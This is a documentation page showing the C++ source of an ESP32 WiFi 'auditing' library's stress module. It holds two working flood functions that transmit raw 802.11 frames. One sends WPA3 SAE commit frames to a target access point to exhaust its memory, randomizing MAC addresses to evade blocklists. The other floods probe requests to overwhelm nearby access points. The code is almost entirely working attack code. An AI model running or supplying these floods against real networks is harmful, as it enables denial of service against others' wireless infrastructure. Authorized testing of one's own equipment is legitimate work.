Politician 1.0.0
WiFi Auditing Library for ESP32
Loading...
Searching...
No Matches
PoliticianStress.cpp
Go to the documentation of this file.
1#include "PoliticianStress.h"
2#include "esp_wifi.h"
3#include "esp_timer.h"
4#include "esp_random.h"
5
6namespace politician {
7namespace stress {
8
9void saeCommitFlood(const uint8_t* bssid, uint32_t count) {
10 // 802.11 Authentication Frame Header (WPA3 SAE)
11 uint8_t pkt[42] = {
12 0xB0, 0x00, 0x3C, 0x00, // Frame Control (Auth), Duration
13 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Receiver Address (Target AP)
14 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Transmitter Address (Randomized)
15 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // BSSID (Target AP)
16 0x00, 0x00, // Sequence Control
17
18 // --- Auth Body ---
19 0x03, 0x00, // Auth Algorithm: 3 (SAE)
20 0x01, 0x00, // Auth Seq: 1 (Commit)
21 0x00, 0x00, // Status Code: 0 (Successful)
22 // Group ID (2 bytes)
23 0x13, 0x00, // 19 = NIST P-256
24 // Empty payload elements follow in a real transaction, but creating the
25 // connection state triggers the WPA3 RAM exhaustion immediately anyway.
26 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
27 };
28
29 // Copy the target BSSID directly into the Recipient and BSSID fields
30 memcpy(&pkt[4], bssid, 6);
31 memcpy(&pkt[16], bssid, 6);
32
33 for (uint32_t i = 0; i < count; i++) {
34 // Bruteforce a completely random MAC address to bypass client blocklists!
35 for (int m = 0; m < 6; m++) {
36 pkt[10 + m] = (uint8_t)(esp_random() & 0xFF);
37 }
38 pkt[10] &= 0xFE; // Ensure Unicast
39 pkt[10] |= 0x02; // Mark as Locally Administered MAC
40
41 esp_wifi_80211_tx(WIFI_IF_STA, pkt, sizeof(pkt), false);
42 }
43}
44
45void probeRequestFlood(uint32_t count) {
46 // 802.11 Probe Request Frame Header
47 uint8_t pkt[36] = {
48 0x40, 0x00, 0x00, 0x00, // Frame Control (Probe Req), Duration
49 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Broadcast RA
50 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Transmitter Address (Randomized)
51 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Broadcast BSSID
52 0x00, 0x00, // Sequence Control
53
54 // IE Tag 0: SSID (Broadcast - Length 0)
55 0x00, 0x00,
56
57 // IE Tag 1: Supported Rates
58 0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x0c, 0x12, 0x18, 0x24
59 };
60
61 for (uint32_t i = 0; i < count; i++) {
62 // Rapidly spin up random fake devices demanding network parameters
63 for (int m = 0; m < 6; m++) {
64 pkt[10 + m] = (uint8_t)(esp_random() & 0xFF);
65 }
66 pkt[10] &= 0xFE;
67 pkt[10] |= 0x02;
68
69 esp_wifi_80211_tx(WIFI_IF_STA, pkt, sizeof(pkt), false);
70 }
71}
72
73} // namespace stress
74} // namespace politician
void probeRequestFlood(uint32_t count)
Blasts out massive strings of randomized Probe Requests to overwhelm local Access Points with client ...
void saeCommitFlood(const uint8_t *bssid, uint32_t count)
Blasts a massive SAE (Simultaneous Authentication of Equals) Commit flood.